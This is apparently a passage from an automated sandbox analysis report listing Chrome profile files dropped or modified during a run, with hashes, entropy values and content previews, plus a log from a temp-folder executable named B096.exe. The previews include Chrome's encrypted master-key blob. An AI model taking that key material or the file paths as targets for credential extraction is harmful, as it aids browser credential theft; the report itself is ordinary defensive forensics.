SHA-512:	CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691724
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:Yx7:4
MD5:	C422F72BA41F662A919ED0B70E5C3289
SHA1:	AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632
SHA-256:	02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
SHA-512:	86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46
Malicious:	false
Reputation:	unknown
Preview:	85.0.4183.121

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185223
Entropy (8bit):	6.076780072694005
Encrypted:	false
SSDEEP:	3072:hrFLD8n55EtvVAkRNGWr9x39UfkT7RdOADfFcbXafIB0u1GOJmA3iuRw:pFLD8Qtdf0S39U6TltaqfIlUOoSiuRw
MD5:	9A3435BB2916D49F5662DF2DF9B0234A
SHA1:	7FB511EA0AB19F8497578647E031083111A67A9C
SHA-256:	BFD8A4F5CCA6D59405E9D0E4FFDB32E8A37EAFBAF1855AE9F4FD57DABD10CCBA
SHA-512:	9CE8ECCD4AF9E34CC3FAF9F8BE21E3B591140366FC947FDB8238AD2C0808C8AEA7FD0FB91B67A1F2F50F644793DC6A328EEC02D4E9C8C12BA6DE2F0B997B9BB2
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State2. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	87023
Entropy (8bit):	6.102321908149239
Encrypted:	false
SSDEEP:	1536:SUuGRcZdJiXrXafIyYOetKdapZsyTwL3cDGOLN0nTwY/A3iuR+:SUuFcbXafIB0u1GOJmA3iuR+
MD5:	04EA3ECF47F46C9AB073A1A8CAE1617E
SHA1:	062C6F716D0EE3126EB4C687FCA4F403DF7657B9
SHA-256:	53BC3171C0A8431E431E2DF17F7001AFD829930A31766D8898A81846A2992FA3
SHA-512:	84DBBDA70C2148B1FEDB2019519D5FF3BA18F4DB3CB7F218F0B9A140B86073C17BB303658132AEB6331682A48B887005C9C78B47755D5707A243465E8C8CC7E5
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displayurl":true,"group_name_matcher":"Shockwave Flash","help_url":"https://support.google.com/chrome/?p=plugin_flash","lang":"en-US","mime_type

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local StateMP (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185223
Entropy (8bit):	6.076780431502545
Encrypted:	false
SSDEEP:	3072:hgLLD8n55EtvVAkRNGWr9x39UfkT7RdOADfFcbXafIB0u1GOJmA3iuRw:mLLD8Qtdf0S39U6TltaqfIlUOoSiuRw
MD5:	C6253FD173F227E4E7F1D3EE08B8F6E0
SHA1:	E47BBBFAEE3A8AB40D874B80A6567A1F29919548
SHA-256:	75D32CFD112422BB63CB13795D6E93350D085BB509A1DD2E380B202F2A9C32E7
SHA-512:	DC5CD4C2B983686ECF7DCD5A0AB3624AA95F59868B2D2CA23DC983D50576556090AEB3733F6BCA0D50C0962B64A7659321E4BA6055ADE9EE910BDEF0E8484B72
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local Statet (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	87023
Entropy (8bit):	6.102321908149239
Encrypted:	false
SSDEEP:	1536:SUuGRcZdJiXrXafIyYOetKdapZsyTwL3cDGOLN0nTwY/A3iuR+:SUuFcbXafIB0u1GOJmA3iuR+
MD5:	04EA3ECF47F46C9AB073A1A8CAE1617E
SHA1:	062C6F716D0EE3126EB4C687FCA4F403DF7657B9
SHA-256:	53BC3171C0A8431E431E2DF17F7001AFD829930A31766D8898A81846A2992FA3
SHA-512:	84DBBDA70C2148B1FEDB2019519D5FF3BA18F4DB3CB7F218F0B9A140B86073C17BB303658132AEB6331682A48B887005C9C78B47755D5707A243465E8C8CC7E5
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displayurl":true,"group_name_matcher":"Shockwave Flash","help_url":"https://support.google.com/chrome/?p=plugin_flash","lang":"en-US","mime_type

C:\Users\user\AppData\Local\Google\Chrome\User Data\a5c47e94-90e2-4413-9940-476700670340.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185224
Entropy (8bit):	6.076777172710909
Encrypted:	false
SSDEEP:	3072:h9cLD8n55EtvVAkRNGWr9x39UfkT7RdOAD+FcbXafIB0u1GOJmA3iuRw:vcLD8Qtdf0S39U6TlUaqfIlUOoSiuRw
MD5:	C005E1F8BBDB08BD8E31B8EFD5A481E3
SHA1:	CEF1835073662B631533BBBF9FD323D877FF6F4C
SHA-256:	4D12801559358F65B0327E9C6A83479734B92E8FC3002A6C2EA17771D5A577ED
SHA-512:	C4DB8A3CF32103BCD2EB3AB86B5F9FE24A82CD495751DE273A987894CFC401139DD6D506DD21BF09750A69B5E285746EE20BE48AD9B597C5FA2EF1ABFCD72C74
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\ba54649f-ae69-496b-a2e4-8ef3e2285261.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	92724
Entropy (8bit):	3.749334477100088
Encrypted:	false
SSDEEP:	384:7K34dqZpX8O7vYlENtrevx73CV7+Hv6GOxrcfVhxCrD/SrApm4zcb1FlSO//VNMp:W34o+59CX+Oge7tD3Q3rG/KxPNBm
MD5:	B737DC295F256C510B59268D288E2D10
SHA1:	8B19D8F23BE9C56F483DC60E34B43420A076358E
SHA-256:	6BE0B7FE791BEEC2CDAEDFF948422F2047D5B982D70ABA87D52BB08E4649203C
SHA-512:	34256F525C39C13A1002FD6B99DC2E20B278059041D061D4741672F7ED1E6F803616EAD3FC36F17640B3C115AEC0920D992E7F679B3EC31E0552EE7D049AADA6
Malicious:	false
Reputation:	unknown
Preview:	0j.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....I8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\d1bea835-ec0c-4c85-9e15-c8ec6c7cb00a.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185224
Entropy (8bit):	6.0767786021951835
Encrypted:	false
SSDEEP:	3072:h8PLD8n55EtvVAkRNGWr9x39UfkT7RdOAD+FcbXafIB0u1GOJmA3iuRw:aPLD8Qtdf0S39U6TlUaqfIlUOoSiuRw
MD5:	FB20DB9CC2ECCF503196D173C40E506F
SHA1:	31D0BFFF97A8EAD257DAC75A19334A4269CC18EA
SHA-256:	41A240AD71C126200141586D587A7C211542BDD575B038DA91B7DC1AC5C37250
SHA-512:	CE04CF7A66FF3F14C76A76C530E66903DCAB52962979A66B2D280DD19072530282CA9F23B922DB6367D733A4A09583138B24A52F4E97320A55F027E9D543A6D4
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\d6c3685d-5a55-4a4c-bd1c-94d6754e56bf.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	185223
Entropy (8bit):	6.076780072694005
Encrypted:	false
SSDEEP:	3072:hrFLD8n55EtvVAkRNGWr9x39UfkT7RdOADfFcbXafIB0u1GOJmA3iuRw:pFLD8Qtdf0S39U6TltaqfIlUOoSiuRw
MD5:	9A3435BB2916D49F5662DF2DF9B0234A
SHA1:	7FB511EA0AB19F8497578647E031083111A67A9C
SHA-256:	BFD8A4F5CCA6D59405E9D0E4FFDB32E8A37EAFBAF1855AE9F4FD57DABD10CCBA
SHA-512:	9CE8ECCD4AF9E34CC3FAF9F8BE21E3B591140366FC947FDB8238AD2C0808C8AEA7FD0FB91B67A1F2F50F644793DC6A328EEC02D4E9C8C12BA6DE2F0B997B9BB2
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\df341cd3-d32d-4701-b328-329dc38280ff.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185224
Entropy (8bit):	6.076780174978916
Encrypted:	false
SSDEEP:	3072:t8PLD8n55EtvVAkRNGWr9x39UfkT7RdOAD+FcbXafIB0u1GOJmA3iuRw:mPLD8Qtdf0S39U6TlUaqfIlUOoSiuRw
MD5:	EA18642CBF5A149F2E28A60525572442
SHA1:	AC404D749E66CBEA45827B1C4734DE3053239B05
SHA-256:	FAEF55D41AC6DE200EDBD4EEA543F1332850256A91304CAFD4ED152C325DD06F
SHA-512:	72EF0293DED469C529E0F93334B6202AF370FAC88A945F3C3543C59A3D246318A432C6868AA451350342CCE9191C5943D6EB0F41CACFFD61F4375FC80AE8DE4D
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799845608"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\e8e32cf2-a584-474e-8e3a-c19f2984814d.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	87023
Entropy (8bit):	6.102321908149239
Encrypted:	false
SSDEEP:	1536:SUuGRcZdJiXrXafIyYOetKdapZsyTwL3cDGOLN0nTwY/A3iuR+:SUuFcbXafIB0u1GOJmA3iuR+
MD5:	04EA3ECF47F46C9AB073A1A8CAE1617E
SHA1:	062C6F716D0EE3126EB4C687FCA4F403DF7657B9
SHA-256:	53BC3171C0A8431E431E2DF17F7001AFD829930A31766D8898A81846A2992FA3
SHA-512:	84DBBDA70C2148B1FEDB2019519D5FF3BA18F4DB3CB7F218F0B9A140B86073C17BB303658132AEB6331682A48B887005C9C78B47755D5707A243465E8C8CC7E5
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"displayurl":true,"group_name_matcher":"Shockwave Flash","help_url":"https://support.google.com/chrome/?p=plugin_flash","lang":"en-US","mime_type

C:\Users\user\AppData\Local\Google\Chrome\User Data\en-US-9-0.bdic Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	unknown
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Users\user\AppData\Local\Google\Chrome\User Data\fe69df42-7940-45ca-ad99-1bfbbf7f932b.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185223
Entropy (8bit):	6.076780072694005
Encrypted:	false
SSDEEP:	3072:hrFLD8n55EtvVAkRNGWr9x39UfkT7RdOADfFcbXafIB0u1GOJmA3iuRw:pFLD8Qtdf0S39U6TltaqfIlUOoSiuRw
MD5:	9A3435BB2916D49F5662DF2DF9B0234A
SHA1:	7FB511EA0AB19F8497578647E031083111A67A9C
SHA-256:	BFD8A4F5CCA6D59405E9D0E4FFDB32E8A37EAFBAF1855AE9F4FD57DABD10CCBA
SHA-512:	9CE8ECCD4AF9E34CC3FAF9F8BE21E3B591140366FC947FDB8238AD2C0808C8AEA7FD0FB91B67A1F2F50F644793DC6A328EEC02D4E9C8C12BA6DE2F0B997B9BB2
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635541827385395e+12,"network":1.635509428e+12,"ticks":217354275.0,"uncertainty":3694755.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\B096.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\B096.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
